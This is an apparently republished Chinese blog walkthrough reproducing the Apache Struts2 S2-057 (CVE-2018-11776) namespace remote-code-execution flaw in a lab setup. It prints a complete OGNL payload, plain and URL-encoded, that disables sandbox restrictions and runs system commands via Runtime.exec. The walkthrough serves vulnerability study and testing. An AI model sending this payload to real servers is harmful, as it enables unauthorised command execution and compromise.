前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

作者头像
全栈程序员站长
发布2022-09-14 10:24:16
3760
发布2022-09-14 10:24:16
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。

启动环境后,在Win10上访问http://IP:port/struts2-showcase

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

1.构建Payload:

访问:

代码语言:javascript
复制
http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可以看到233 * 233的结果已在Location标头中返回。

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

将以下payload进行URL编码:

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

URL编码后

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

并在burpsuit的GET /struts2-showcase/%7B233*233%7D/actionChain1.action HTTP/1.1中将URL编码的插入到/%7B233*233%7D/ ,将

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/158495.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年7月1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
图像处理
图像处理基于腾讯云深度学习等人工智能技术,提供综合性的图像优化处理服务,包括图像质量评估、图像清晰度增强、图像智能裁剪等。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档